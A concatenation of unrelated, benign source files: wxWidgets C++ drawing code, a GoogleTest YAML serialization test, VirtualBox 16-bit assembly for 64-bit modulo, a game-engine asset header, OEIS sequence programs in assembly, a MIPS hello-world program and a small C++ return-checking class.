m_scrolled_window->CalcScrolledPosition(iwx, iwy, &ix, &iy);
// Check if point is visible:
GetClientSize(&ixsize, &iysize);
if(ix < 0 || ix >= ixsize || iy < 0 || iy >= iysize)
*in_frame = 0;
else
*in_frame = 1;
/* DEBUG:
printf("ConvUserToDevForImages/x1=%.2f y1=%.2f ix=%d iy=%d ixsize=%d iysize=%d\n",
x1, y1, ix, iy, ixsize, iysize);
*/
*dev_x0 = (double)ix;
*dev_y0 = (double)iy;
return;
}
/*************************************************************
* Create a Device Context to be able to write on it outside
* of Paint events (and also inside of Paint events...)
* (Called for ReSize events and each time the size of the canvas is modified)
*
* INPUT:
* width20 : bitmap_width
* height20 : bitmap_height
*************************************************************/
void JLP_GDev_wxWID::InitBackupDC(int width20, int height20)
{
int x0, y0;
wxString buffer;
if(width20 <= 0 || height20 <= 0) {
fprintf(stderr, "InitBackupDC/Fatal error: width=%d height=%d\n",
width20, height20);
buffer.Printf(wxT("InitBackupDC/Fatal error: width=%d height=%d"),
width20, height20);
wxMessageBox(buffer, wxT("JLP_cDev_wxWID"), wxOK | wxICON_ERROR);
exit(-1);
}
// backup Device Context:
// Create a new bitmap by copying the current image bitmap2
// WARNING: this bitmap will be then attached to backup_dc...
if(backup_dc_bitmap2 != NULL) delete backup_dc_bitmap2;
// Create bitmap with no data
/* DEBUG
printf("InitBackupDC/ width=%d, height=%d\n", width20, height20);
*/
backup_dc_bitmap2 = new wxBitmap(width20, height20);
m_bitmap_width = width20;
m_bitmap_height = height20;
if(backup_dc == NULL) {
fprintf(stderr, "InitBackupDC/Fatal error: backup_dc is NULL \n");
exit(-1);
}
// Assign this bitmap to the memory Device Context:
backup_dc->SelectObject(*backup_dc_bitmap2);
// Basic setup of the backup device:
backup_dc->Clear();
// backup_dc->SetPen( *wxBLACK_PEN);
// backup_dc->SetBackground( *wxGREY_BRUSH);
// backup_dc->SetBackground( *wxWHITE_BRUSH);
// Update GSEG graphic window size:
if(jlp_gseg_wxwid1 != NULL) {
x0 = 0;
y0 = 0;
jlp_gseg_wxwid1->GSEG_SetWindowLimits(x0, m_bitmap_width,
y0, m_bitmap_height);
if(jlp_gsegraf1 != NULL) jlp_gsegraf1->GSEG_InitializePlotSize();
}
// Update fontsi with private variables:
SetFontToBackupDC(font_name1, font_size1);
#if 0
// draw a green circle
backup_dc->SetBrush(*wxGREEN_BRUSH); // green filling
backup_dc->SetPen( wxPen( wxColor(255,0,0), 5 ) ); // 5-pixels-thick red outline
backup_dc->DrawCircle( wxPoint(200,100), 25 /* radius */ );
#endif
// Initialise the plot (necessary to be able to refresh the display !)
RedrawToBackupDC(1301);
return;
}
/*************************************************************************
* Set Client Size to width, and height
* Create new backup_dc_bitmap and update the size of the scrolled window
*
**************************************************************************/
int JLP_GDev_wxWID::SetNewBitmapSize(int width, int height)
{
wxString buffer;
if(initialized != 1234) return(-1);
if((width <= 0) || (height <= 0)) {
fprintf(stderr, "JLP_GDev_wxWID::SetNewBitmapSize/Fatal error: width=%d height=%d\n",
width, height);
buffer.Printf(wxT("SetNewBitmapSize/Fatal error: width=%d height=%d"),
width, height);
wxMessageBox(buffer, wxT("JLP_cDev_wxWID"), wxOK | wxICON_ERROR);
return(-1);
}
// Initialize backup device context (used as a buffer for a faster display):
// Routine defined in application program:
InitBackupDC(width, height);
// Gsegraf/update size parameters:
if(jlp_gsegraf1 != NULL) jlp_gsegraf1->GSEG_InitializePlotSize();
// jlp_splot/Update user/device conversion parameters (in Jgc0) :
JLP_GDev::SetNewDeviceSize(width, height);
// JLP2017: do not call RedrawToBackupDC here, to avoid too many calls
return(0);
}
/*************************************************************
* Update the drawing of the image to the backup_dc
*************************************************************/
void JLP_GDev_wxWID::RedrawScrolledImageToBackupDC()
{
wxBitmap *image1_bitmap;
wxString err_msg;
int scroll_x, scroll_y;
if((m_scrolled_window == NULL) || (initialized != 1234)) return;
if((backup_dc->IsOk() == false) || (c_image1 == NULL)) return;
image1_bitmap = c_image1->GetBitmap2();
// Draw image1 bitmap onto backup_dc at 0,0 location
backup_dc->DrawBitmap(*image1_bitmap, 0, 0);
// Get origin in case of scrolling window:
m_scrolled_window->CalcUnscrolledPosition(0, 0, &scroll_x, &scroll_y);
// Draw labels if needed:
/**** DEBUG:
// wxgdev_settings1.pen_colour = wxColour(200, 100, 50);
printf("pen_color=%d %d %d\n",
wxgdev_settings1.pen_colour.Red(),
wxgdev_settings1.pen_colour.Green(),
wxgdev_settings1.pen_colour.Blue());
****/
if(m_wxlabels1 != NULL)
m_wxlabels1->DrawAllImageLabelsToBackupDC(this, backup_dc,
wxgdev_settings1.pen_colour,
scroll_x, scroll_y);
// Draw shapes if needed:
if(m_wxshapes1 != NULL)
m_wxshapes1->DrawShapesToBackupDC(this, backup_dc,
wxgdev_settings1.pen_colour,
scroll_x, scroll_y);
return;
}
/*************************************************************
* Erase all the drawings inside the window
*
*************************************************************/
int JLP_GDev_wxWID::gdev_erase()
{
// Check that curve mode is active:
if(initialized != 1234) return(-1);
backup_dc->Clear();
// backup_dc->SetPen( *wxBLACK_PEN);
// backup_dc->SetBackground( *wxGREY_BRUSH);
return(0);
}
/************************************************************************
* To enlarge the window at the maximum size:
* JLP 2015: Should not be done at this level but on the jlp_wx_GraphicPanel class
* SEE ALSO : void JLP_wxGraphicPanel::OnResize( wxSizeEvent &event )
* Not done with SetNewSize()...
************************************************************************/
void JLP_GDev_wxWID::OnResize( wxSizeEvent &event )
{
int client_width0, client_height0;
if(initialized == 1234) {
// Good size without borders
GetClientSize(&client_width0, &client_height0);
/*
printf("JLP_GDev_wxWID::OnResize: ClientSize=%d %d\n",
client_width0, client_height0);
*/
ResizePlot1(client_width0, client_height0);
}
// Skip this event (to avoid infinite processing of the same event):
event.Skip();
return;
}
/************************************************************************
* To enlarge the window at the maximum size:
* Also called from the jlp_wx_GraphicPanel class
* (but both GetSize() or GetClientSize() give a bad size (too large)
* so I correct this size and update plot parameters)
************************************************************************/
void JLP_GDev_wxWID::ResizePlot1(const int width0, const int height0)
{
int width2, height2;
// Step 1: resize the drawing panel with the large size and update the drawings
SetNewBitmapSize(width0, height0);
// Get it back after modifications if needed:
Get_ClientSize(&width2, &height2);
/*
printf("JLP_GDev_wxWID::Resize1/From GetClientSize/width,height = %d,%d\n",
width2, height2);
*/
// Step 2: resize the drawing panel with the smaller size and update the drawings
SetNewBitmapSize(width2, height2);
// JLP2017: do not call DrawToBackupDC here, to avoid too many calls
// RedrawToBackupDC(1301);
return;
}
/*************************************************************
* Draw help information
*************************************************************/
void JLP_GDev_wxWID::DrawHelpInfo(wxDC *dc1, wxString help_text)
{
#ifdef NEW_FONTS
int PointSize;
wxFont def_Font = wxSystemSettings::GetFont(wxSYS_DEFAULT_GUI_FONT);
wxFont *my_Font;
#endif
if(help_text.IsEmpty() || !dc1->IsOk())return;
// Select nicer fonts than default fonts:
#ifdef NEW_FONTS
PointSize = def_Font.GetPointSize();
// wxSWISS_FONT allows rotation with DrawRotatedText
my_Font = new wxFont(PointSize, wxFONTFAMILY_SWISS,
wxFONTSTYLE_NORMAL, wxFONTWEIGHT_BOLD,
false, wxEmptyString, wxFONTENCODING_DEFAULT);
dc1->SetFont(*my_Font);
#endif
// Draw help information about processing mode on top of the frame
dc1->DrawText(help_text, 152, 0);
// Go back to default fonts:
#ifdef NEW_FONTS
dc1->SetFont(def_Font);
delete my_Font;
#endif
return;
}
/*************************************************************
* Draw pixel information (coordinates and pixel value)
*************************************************************/
void JLP_GDev_wxWID::DisplayCoordinatesForCurves(wxString coordinates_text)
{
wxString str0;
if(initialized != 1234) return;
if(m_StaticCoord != NULL)
m_StaticCoord->SetLabel(coordinates_text);
if((m_StaticHelp != NULL) && (active_gdproc != NULL)) {
str0 = active_gdproc->Get_HelpText();
m_StaticHelp->SetLabel(str0);
}
return;
}
/*************************************************************
* Draw pixel information (coordinates and pixel value)
*************************************************************/
void JLP_GDev_wxWID::DisplayCoordinatesForImages(wxDC *dc1,
wxString coordinates_text)
{
int iheight;
if((initialized != 1234) && (active_gdproc == NULL)) return;
// Draw pixel information on top of the frame
//****************************************************************
if((m_StaticHelp == NULL) || (m_StaticCoord == NULL)) {
// First erase:
dc1->SetPen(*wxBLACK_PEN);
dc1->SetBrush(*wxWHITE_BRUSH);
// dc1->DrawRectangle(0, 0, 150, 16);
#ifdef _WIN32
iheight = 32; // Windows: height of white rectangle
#else
iheight = 16; // Linux: height of white rectangle
#endif
dc1->DrawRectangle(0, 0, nx2, iheight);
// Then display string:
dc1->DrawText(coordinates_text, 2, 0);
// Draw help information about processing mode on top of the frame
dc1->DrawText(active_gdproc->Get_HelpText(), 152, 0);
//****************************************************************
} else {
if(m_StaticCoord != NULL) {
m_StaticCoord->SetLabel(coordinates_text);
}
if(m_StaticHelp != NULL) {
m_StaticHelp->SetLabel(active_gdproc->Get_HelpText());
}
}
return;
}
/*************************************************************
* To update the display when Paint events are detected
*************************************************************/
void JLP_GDev_wxWID::OnPaint( wxPaintEvent &event )
{
// Construct a Device Context on which graphics and text
// can be drawn.
// wxPaintDC is a constructor and pass a pointer to the window
// on which you wish to paint:
wxDC *dc0;
int width0, height0;
/* GDevGraphicType:
* 1 = jlp_splot_curves
* 2 = jlp_splot_images
* 3 = wx_scrolled/jlp_splot_images
* 4 = gsegraf_2d_curves
* 5 = gsegraf_2d_images
* 6 = gsegraf_3d_curves
* 7 = gsegraf_3d_images
* 8 = gsegraf_polar_curve
*/
if(Jgc0.gdev_graphic_type != 3) {
dc0 = new wxPaintDC(this);
dc0->GetSize(&width0, &height0);
wxGDev_RenderForCurves(dc0, width0, height0);
delete dc0;
}
// Pass on Paint event to scrolled window
// when required (i.e. when Jgc0.gdev_graphic_type==3):
// (Solution needed for MSWINDOWS ...)
event.Skip();
return;
}
/*************************************************************
* To update the display with any kind of graphic context
*************************************************************/
void JLP_GDev_wxWID::wxGDev_RenderForCurves( wxDC *dc1, const int width1,
const int height1)
{
int width2, height2;
int xoffset, yoffset;
if(initialized != 1234) return;
// JLP2016: problem to fill in the frame:
// copy from backup_dc(0,0) to screen (0,0)
if(backup_dc_bitmap2 != NULL && backup_dc != NULL) {
// xdest, ydest, width (to be copied from source),
// height (to be copied from source), source, xsrc, ysrc
width2 = backup_dc_bitmap2->GetWidth();
height2 = backup_dc_bitmap2->GetHeight();
xoffset = MAXI(0, width2 - width1);
yoffset = MAXI(0, height2 - height1);
dc1->Blit(0, 0, width2, height2, backup_dc, xoffset, yoffset, wxCOPY);
} else {
fprintf(stderr, "wxGDev_RenderForCurves/Not ready yet: backup_dc still null!\n");
}
return;
}
/*************************************************************
* To update the display with any kind of graphic context
* (Still needed by jlp_gdev_wxwid_process for selecting rectangles...)
*************************************************************/
void JLP_GDev_wxWID::wxGDev_RenderForScrolledImages( wxDC *scroll_dc0 )
{
if((backup_dc_bitmap2 == NULL) || (backup_dc == NULL)
|| (scroll_dc0 == NULL)) {
wxMessageBox(wxT("Error/Not ready yet: backup_dc still null!"),
wxT("wxGDev_RenderForImages"), wxICON_ERROR);
return;
}
// Clear screen first
scroll_dc0->Clear();
/*** DEBUG:
scroll_dc0->SetPen( wxPen( wxColor(255,0,0), 5 ) ); // 5-pixels-thick red outline
scroll_dc0->DrawLine(0, 0, 2000, 2000);
***/
// copy from backup_dc(0,0) to screen (0,0)
scroll_dc0->Blit(0, 0, backup_dc_bitmap2->GetWidth(),
backup_dc_bitmap2->GetHeight(),
backup_dc, 0, 0, wxCOPY);
// Draw help information about processing mode on top of the frame
if(active_gdproc != NULL) {
scroll_dc0->DrawText(active_gdproc->Get_HelpText(), 152, 0);
}
return;
}
/****************************************************************************
* Redo the drawings from scratch outside of Paint events
* Called when resizing the panel
*
* INPUT:
* calling_routine_nber : nber used to trace the calling routine (for debug)
****************************************************************************/
void JLP_GDev_wxWID::RedrawToBackupDC(const int calling_routine_nber)
{
int scroll_x, scroll_y;
wxString err_msg;
if(initialized != 1234 || backup_dc == NULL) return;
if(!backup_dc->IsOk()) return;
// wxDC:Clear
backup_dc->Clear();
/* Pointers defined in brush.h
wxBLUE_BRUSH, wxGREEN_BRUSH, wxWHITE_BRUSH, wxBLACK_BRUSH, wxGREY_BRUSH,
wxMEDIUM_GREY_BRUSH, wxLIGHT_GREY_BRUSH, wxTRANSPARENT_BRUSH, wxCYAN_BRUSH,
wxRED_BRUSH,
backup_dc->SetBackground( *wxWHITE_BRUSH);
*/
/* pen.h
wxRED_PEN, wxCYAN_PEN, wxGREEN_PEN, wxBLACK_PEN, wxWHITE_PEN,
wxTRANSPARENT_PEN, wxBLACK_DASHED_PEN, wxGREY_PEN, wxMEDIUM_GREY_PEN,
wxLIGHT_GREY_PEN,
*/
/* GDevGraphicType:
* 1 = jlp_splot_curves
* 2 = jlp_splot_images
* 3 = wx_scrolled/jlp_splot_images
* 4 = gsegraf_2d_curves
* 5 = gsegraf_2d_images
* 6 = gsegraf_3d_curves
* 7 = gsegraf_3d_images
* 8 = gsegraf_polar_curve
*/
if(Jgc0.gdev_graphic_type == 3) {
RedrawScrolledImageToBackupDC();
} else if(Jgc0.gdev_graphic_type >= 4) {
// Plot curves/images with GSEG routines :
PlotAllCurves_gseg();
} else {
// For jlp_splot curves (or images ?)
#ifdef DEBUG
printf("RedrawToBakucpDC/Calling routine : %d\n", calling_routine_nber);
#endif
// Plot all the curves with current values of wxgdev_settings1
// (NB: this is a gdev routine in "jlp_splot/jlp_gdev_curves.cpp")
PlotAllCurves_splot();
// No scroll window for curves, hence scrolling set to zero:
scroll_x = 0;
scroll_y = 0;
/****** DEBUG
printf("RedrawToBackupDC/DEBUG 1: color=%d %d %d\n",
wxgdev_settings1.pen_colour.Red(),
wxgdev_settings1.pen_colour.Green(),
wxgdev_settings1.pen_colour.Blue());
*********/
// Draw labels if needed:
if(m_wxlabels1 != NULL) {
m_wxlabels1->DrawAllImageLabelsToBackupDC(this, backup_dc,
wxgdev_settings1.pen_colour,
scroll_x, scroll_y);
}
// Draw shapes if needed:
if(m_wxshapes1 != NULL) {
m_wxshapes1->DrawShapesToBackupDC(this, backup_dc,
wxgdev_settings1.pen_colour,
scroll_x, scroll_y);
}
// Redo drawing from metafile:
#if USE_METAFILE
if(MetaFileIsOpened) ReadAndExecuteMetaFile();
#endif
} // case when Jgc0.gdev_graphic_type < 3
// Refresh screen (to avoid partial update of the screen)
wxGdev_Refresh();
// Used for DEBUG only
#if 0
// wxDC:DrawRectangle
backup_dc->DrawRectangle( 20, 70, 100, 125 );
// Fill rectangle in red:
backup_dc->SetBrush( *wxRED_BRUSH);
backup_dc->DrawRectangle( 90, 80, 120, 225 );
// Draw in cyan:
backup_dc->SetPen( *wxCYAN_PEN);
backup_dc->DrawLine( 100, 100, 220, 325 );
backup_dc->DrawText( _T("JLP wxwidgets Wplot1"), 5, 5 );
#endif
return;
}
/*************************************************************
* Plot the curves to GSEG device
*************************************************************/
void JLP_GDev_wxWID::PlotAllCurves_gseg()
{
if(jlp_gsegraf1 == NULL) {
fprintf(stderr, "JLP_GDev_wxWID::PlotAllCurves_gseg/ Error: jlp_gsegraf1 is NULL");
return;
}
// Takes time in case of 3D plots:
// Busy cursor: NOT WORKING
// GetParent()->SetCursor(*wxHOURGLASS_CURSOR);
// SetCursor(*wxHOURGLASS_CURSOR);
wxBeginBusyCursor();
// Draw graph
jlp_gsegraf1->GSEG_DrawGraph();
// Update extra labels if any
jlp_gsegraf1->GSEG_DrawExtraLabels();
// End of busy cursor: NOT WORKING
// GetParent()->SetCursor(wxNullCursor);
// SetCursor(wxNullCursor);
wxEndBusyCursor();
return;
}
|
//!
//! casual_isolatedunittest_yaml_archive.cpp
//!
//! Created on: Oct 31, 2012
//! Author: Lazan
//!
#include <gtest/gtest.h>
#include "../include/test_vo.h"
#include "sf/archive/yaml.h"
#include "sf/exception.h"
#include "sf/log.h"
#include "common/algorithm.h"
namespace casual
{
/*
namespace local
{
struct Serializible
{
long someLong;
long long someLongLong;
std::string someString;
template< typename A>
void serialize( A& archive)
{
archive & CASUAL_MAKE_NVP( someLong);
archive & CASUAL_MAKE_NVP( someString);
archive & CASUAL_MAKE_NVP( someLongLong);
}
static std::string yaml()
{
return R"(
value:
someLong: 234
someString: bla bla bla bla
someLongLong: 1234567890123456789
)";
}
};
struct Binary : public Serializible
{
common::binary_type binary;
template< typename A>
void serialize( A& archive)
{
Serializible::serialize( archive);
archive & CASUAL_MAKE_NVP( binary);
}
};
}
*/
namespace local
{
namespace
{
template<typename T>
void string_to_strict_value( const std::string& string, T&& value)
{
sf::archive::yaml::Load load;
load.serialize( string);
sf::archive::yaml::Reader reader( load.source());
reader >> CASUAL_MAKE_NVP( value);
}
template<typename T>
void string_to_relaxed_value( const std::string& string, T&& value)
{
sf::archive::yaml::Load load;
load.serialize( string);
sf::archive::yaml::relaxed::Reader reader( load.source());
reader >> CASUAL_MAKE_NVP( value);
}
template<typename T>
void value_to_string( T&& value, std::string& string)
{
sf::archive::yaml::Save save;
sf::archive::yaml::Writer writer( save.target());
writer << CASUAL_MAKE_NVP( value);
save.serialize( string);
}
}
}
TEST( casual_sf_yaml_archive, relaxed_read_serializible)
{
test::SimpleVO value;
local::string_to_relaxed_value( test::SimpleVO::yaml(), value);
EXPECT_TRUE( value.m_long == 234) << "value.m_long: " << value.m_long;
EXPECT_TRUE( value.m_string == "bla bla bla bla") << "value.m_long: " << value.m_long;
}
TEST( casual_sf_yaml_archive, strict_read_serializible__gives_ok)
{
test::SimpleVO value;
local::string_to_strict_value( test::SimpleVO::yaml(), value);
EXPECT_TRUE( value.m_long == 234) << "value.someLong: " << value.m_long;
EXPECT_TRUE( value.m_string == "bla bla bla bla") << "value.someLong: " << value.m_string;
EXPECT_TRUE( value.m_longlong == 1234567890123456789) << "value.someLongLong: " << value.m_longlong;
}
TEST( casual_sf_yaml_archive, strict_read_not_in_document__gives_throws)
{
sf::archive::yaml::Load load;
load.serialize( test::SimpleVO::yaml());
sf::archive::yaml::Reader reader( load.source());
test::SimpleVO wrongRoleName;
EXPECT_THROW(
{
reader >> CASUAL_MAKE_NVP( wrongRoleName);
}, sf::exception::archive::invalid::Node);
}
TEST( casual_sf_yaml_archive, write_read_vector_pod)
{
std::string yaml;
{
std::vector< long> values = { 1, 2, 34, 45, 34, 34, 23};
local::value_to_string( values, yaml);
}
std::vector< long> values;
local::string_to_relaxed_value( yaml, values);
ASSERT_TRUE( values.size() == 7) << values.size();
EXPECT_TRUE( values.at( 0) == 1);
EXPECT_TRUE( values.at( 1) == 2) << common::range::make( values);
EXPECT_TRUE( values.at( 2) == 34) << values.at( 2);
EXPECT_TRUE( values.at( 3) == 45);
EXPECT_TRUE( values.at( 4) == 34);
EXPECT_TRUE( values.at( 5) == 34);
EXPECT_TRUE( values.at( 6) == 23);
}
TEST( casual_sf_yaml_archive, write_read_vector_serializible)
{
std::string yaml;
{
std::vector< test::SimpleVO> values = { { 2342342, "one two three", 123 }, { 234234, "four five six", 456}};
local::value_to_string( values, yaml);
}
std::vector< test::SimpleVO> values;
local::string_to_relaxed_value( yaml, values);
ASSERT_TRUE( values.size() == 2);
EXPECT_TRUE( values.at( 0).m_short == 123);
EXPECT_TRUE( values.at( 0).m_string == "one two three");
EXPECT_TRUE( values.at( 1).m_short == 456);
EXPECT_TRUE( values.at( 1).m_string == "four five six");
}
TEST( casual_sf_yaml_archive, write_read_map_complex)
{
std::string yaml;
{
std::map< long, test::Composite> values;
values[ 10].m_string = "kalle";
values[ 10].m_values = { { 11111, "one", 1}, { 22222, "two", 2}};
values[ 2342].m_string = "Charlie";
values[ 2342].m_values = { { 33333, "three", 3}, { 444444, "four", 4}};
local::value_to_string( values, yaml);
}
std::map< long, test::Composite> values;
local::string_to_relaxed_value( yaml, values);
ASSERT_TRUE( values.size() == 2) << CASUAL_MAKE_NVP( values);
EXPECT_TRUE( values.at( 10).m_string == "kalle");
EXPECT_TRUE( values.at( 10).m_values.at( 0).m_short == 1);
EXPECT_TRUE( values.at( 10).m_values.at( 0).m_string == "one");
EXPECT_TRUE( values.at( 10).m_values.at( 1).m_short == 2);
EXPECT_TRUE( values.at( 10).m_values.at( 1).m_string == "two");
EXPECT_TRUE( values.at( 2342).m_string == "Charlie");
EXPECT_TRUE( values.at( 2342).m_values.at( 0).m_short == 3);
EXPECT_TRUE( values.at( 2342).m_values.at( 0).m_string == "three");
EXPECT_TRUE( values.at( 2342).m_values.at( 1).m_short == 4);
EXPECT_TRUE( values.at( 2342).m_values.at( 1).m_string == "four");
}
TEST( casual_sf_yaml_archive, write_read_binary)
{
std::string yaml;
{
test::Binary value;
value.m_long = 23;
value.m_string = "Charlie";
value.m_binary = { 1, 2, 56, 57, 58 };
local::value_to_string( value, yaml);
}
test::Binary value;
local::string_to_relaxed_value( yaml, value);
ASSERT_TRUE( value.m_binary.size() == 5) << value.m_binary.size();
EXPECT_TRUE( value.m_binary.at( 0) == 1);
EXPECT_TRUE( value.m_binary.at( 1) == 2);
EXPECT_TRUE( value.m_binary.at( 2) == 56) << value.m_binary.at( 2);
EXPECT_TRUE( value.m_binary.at( 3) == 57);
EXPECT_TRUE( value.m_binary.at( 4) == 58);
}
TEST( casual_sf_yaml_archive, read_invalid_document__expecting_exception)
{
const std::string yaml{ " " };
EXPECT_THROW
({
sf::archive::yaml::Load().serialize( yaml);
}, sf::exception::archive::invalid::Document);
}
} // casual
|
; $Id: bs3-wc16-I8DR.asm $
;; @file
; BS3Kit - 16-bit Watcom C/C++, 64-bit unsigned integer modulo.
;
;
; Copyright (C) 2007-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; The contents of this file may alternatively be used under the terms
; of the Common Development and Distribution License Version 1.0
; (CDDL) only, as it comes in the "COPYING.CDDL" file of the
; VirtualBox OSE distribution, in which case the provisions of the
; CDDL are applicable instead of those of the GPL.
;
; You may elect to license modified versions of this file under the
; terms and conditions of either the GPL or the CDDL or both.
;
%include "bs3kit-template-header.mac"
BS3_EXTERN_CMN Bs3Int64Div
;;
; 64-bit unsigned integer modulo, SS variant.
;
; @returns ax:bx:cx:dx reminder. (AX is the most significant, DX the least)
; @param ax:bx:cx:dx Dividend.
; @param [ss:si] Divisor
;
; @uses Nothing.
;
global $_?I8DR
$_?I8DR:
push es
push ss
pop es
%ifdef ASM_MODEL_FAR_CODE
push cs
%endif
call $_?I8DRE
pop es
%ifdef ASM_MODEL_FAR_CODE
retf
%else
ret
%endif
;;
; 64-bit unsigned integer modulo, ES variant.
;
; @returns ax:bx:cx:dx reminder.
; @param ax:bx:cx:dx Dividend.
; @param [es:si] Divisor
;
; @uses Nothing.
;
global $_?I8DRE
$_?I8DRE:
push ds
push es
;
; Convert to a C __cdecl call - not doing this in assembly.
;
; Set up a frame of sorts, allocating 16 bytes for the result buffer.
push bp
sub sp, 10h
mov bp, sp
; Pointer to the return buffer.
push ss
push bp
add bp, 10h ; Correct bp.
; The divisor.
push dword [es:si + 4]
push dword [es:si]
; The dividend.
push ax
push bx
push cx
push dx
call Bs3Int64Div
; Load the reminder.
mov ax, [bp - 10h + 8 + 6]
mov bx, [bp - 10h + 8 + 4]
mov cx, [bp - 10h + 8 + 2]
mov dx, [bp - 10h + 8]
leave
pop es
pop ds
%ifdef ASM_MODEL_FAR_CODE
retf
%else
ret
%endif
|
// Ouzel by Elviss Strazdins
#ifndef OUZEL_ASSET_HPP
#define OUZEL_ASSET_HPP
#include "storage/Path.hpp"
namespace ouzel
{
class Asset final
{
public:
enum class Type
{
empty,
font,
mesh,
texture,
material,
particleSystem,
sprite,
sound,
cue,
shader
};
struct Options final
{
bool mipmaps = true;
};
Asset(const storage::Path& initPath,
const std::string& initName,
Type initType,
const Options& initOptions):
path{initPath},
name{initName},
type{initType},
options{initOptions} {}
const storage::Path path;
const std::string name;
const Type type = Type::empty;
const Options options;
};
inline Asset::Type stringToAssetType(const std::string& s)
{
if (s == "empty")
return Asset::Type::empty;
if (s == "font")
return Asset::Type::font;
else if (s == "mesh")
return Asset::Type::mesh;
else if (s == "texture")
return Asset::Type::texture;
else if (s == "material")
return Asset::Type::material;
else if (s == "particle_system")
return Asset::Type::particleSystem;
else if (s == "sprite")
return Asset::Type::sprite;
else if (s == "sound")
return Asset::Type::sound;
else if (s == "cue")
return Asset::Type::cue;
else if (s == "shader")
return Asset::Type::shader;
else
throw std::runtime_error("Invalid asset type");
}
}
#endif // OUZEL_ASSET_HPP
|
; A060566: a(n) = n^2 - 79*n + 1601.
; 1601,1523,1447,1373,1301,1231,1163,1097,1033,971,911,853,797,743,691,641,593,547,503,461,421,383,347,313,281,251,223,197,173,151,131,113,97,83,71,61,53,47,43,41,41,43,47,53,61,71,83,97,113,131,151,173,197,223,251,281,313,347,383,421,461,503,547,593,641,691,743,797,853,911,971,1033,1097,1163,1231,1301,1373,1447,1523,1601,1681,1763,1847,1933,2021,2111,2203,2297,2393,2491,2591,2693,2797,2903,3011,3121,3233,3347,3463,3581,3701,3823,3947,4073,4201,4331,4463,4597,4733,4871,5011,5153,5297,5443,5591,5741,5893,6047,6203,6361,6521,6683,6847,7013,7181,7351,7523,7697,7873,8051,8231,8413,8597,8783,8971,9161,9353,9547,9743,9941,10141,10343,10547,10753,10961,11171,11383,11597,11813,12031,12251,12473,12697,12923,13151,13381,13613,13847,14083,14321,14561,14803,15047,15293,15541,15791,16043,16297,16553,16811,17071,17333,17597,17863,18131,18401,18673,18947,19223,19501,19781,20063,20347,20633,20921,21211,21503,21797,22093,22391,22691,22993,23297,23603,23911,24221,24533,24847,25163,25481,25801,26123,26447,26773,27101,27431,27763,28097,28433,28771,29111,29453,29797,30143,30491,30841,31193,31547,31903,32261,32621,32983,33347,33713,34081,34451,34823,35197,35573,35951,36331,36713,37097,37483,37871,38261,38653,39047,39443,39841,40241,40643,41047,41453,41861,42271,42683,43097,43513,43931
mov $1,$0
sub $1,39
bin $1,2
sub $1,210
mul $1,2
add $1,461
|
# Hello world program
.data
Greeting: .asciiz "Hello world!\n"
.text
main:
# Prints a string on the screen
li $v0, 4
la $a0, Greeting
syscall
# Terminates the program
li $v0, 10
syscall
|
#include "../include/cscript/CReturn.h"
#include <vector>
#include <memory>
CReturn::CReturn()
{
returnCount = 0;
}
CReturn::CReturn(std::vector<int> anticipatedReturns, std::vector<int> countedReturns)
{
this->anticipatedReturns = anticipatedReturns;
this->countedReturns = countedReturns;
this->returnCount = 0;
}
//
bool CReturn::checkReturns()
{
int failCount = 0;
for (size_t i = 0; i < anticipatedReturns.size(); i++)
{
if (countedReturns[i] < anticipatedReturns[i])
{
failCount++;
}
}
if (failCount > 0 && nestedReturns.size() != 0)
{
return checkNestedReturns();
}
else
{
return !(bool)failCount;
}
}
bool CReturn::checkNestedReturns()
{
int nestedFailCount = 0;
for (size_t i = 0; i < nestedReturns.size(); i++)
{
if (!nestedReturns[i].get()->checkReturns())
{
nestedFailCount++;
}
}
return !(bool)nestedFailCount;
} |
; A163462: a(n) = 20*a(n-1) - 98*a(n-2) for n > 1; a(0) = 1, a(1) = 11.
; Submitted by Jon Maiga
; 1,11,122,1362,15284,172204,1946248,22048968,250247056,2844142256,32358633632,368446731552,4197788535104,47847991009984,545576543759488,6222427756211328,70982053835796736,809843156607224576,9240621856236411392,105447807777220219392,1203375213633236071424,13733619110497139928064,156741611273885663561728,1788937552648993558284288,20418073148139076136636416,233045582803180154020868096,2659940487545973619026993152,30360342636207817286494789632,346532684944650931065250463744
mov $1,1
mov $3,1
lpb $0
sub $0,1
mov $2,$3
mul $3,10
add $3,$1
mul $1,10
add $1,$2
add $1,$2
lpe
mov $0,$3
|
; A169966: Numbers whose decimal expansion contains only 0's and 3's.
; 0,3,30,33,300,303,330,333,3000,3003,3030,3033,3300,3303,3330,3333,30000,30003,30030,30033,30300,30303,30330,30333,33000,33003,33030,33033,33300,33303,33330,33333,300000,300003,300030,300033,300300,300303,300330,300333,303000,303003,303030,303033,303300,303303,303330,303333,330000,330003,330030,330033,330300,330303,330330,330333,333000,333003,333030,333033,333300,333303,333330,333333,3000000,3000003,3000030,3000033,3000300,3000303,3000330,3000333,3003000,3003003,3003030,3003033,3003300,3003303,3003330,3003333,3030000,3030003,3030030,3030033,3030300,3030303,3030330,3030333,3033000,3033003,3033030,3033033,3033300,3033303,3033330,3033333,3300000,3300003,3300030,3300033,3300300,3300303,3300330,3300333,3303000,3303003,3303030,3303033,3303300,3303303,3303330,3303333,3330000,3330003,3330030,3330033,3330300,3330303,3330330,3330333,3333000,3333003,3333030,3333033,3333300,3333303,3333330,3333333,30000000,30000003,30000030,30000033,30000300,30000303,30000330,30000333,30003000,30003003,30003030,30003033,30003300,30003303,30003330,30003333,30030000,30030003,30030030,30030033,30030300,30030303,30030330,30030333,30033000,30033003,30033030,30033033,30033300,30033303,30033330,30033333,30300000,30300003,30300030,30300033,30300300,30300303,30300330,30300333,30303000,30303003,30303030,30303033,30303300,30303303,30303330,30303333,30330000,30330003,30330030,30330033,30330300,30330303,30330330,30330333,30333000,30333003,30333030,30333033,30333300,30333303,30333330,30333333,33000000,33000003,33000030,33000033,33000300,33000303,33000330,33000333,33003000,33003003,33003030,33003033,33003300,33003303,33003330,33003333,33030000,33030003,33030030,33030033,33030300,33030303,33030330,33030333,33033000,33033003,33033030,33033033,33033300,33033303,33033330,33033333,33300000,33300003,33300030,33300033,33300300,33300303,33300330,33300333,33303000,33303003,33303030,33303033,33303300,33303303,33303330,33303333,33330000,33330003,3333003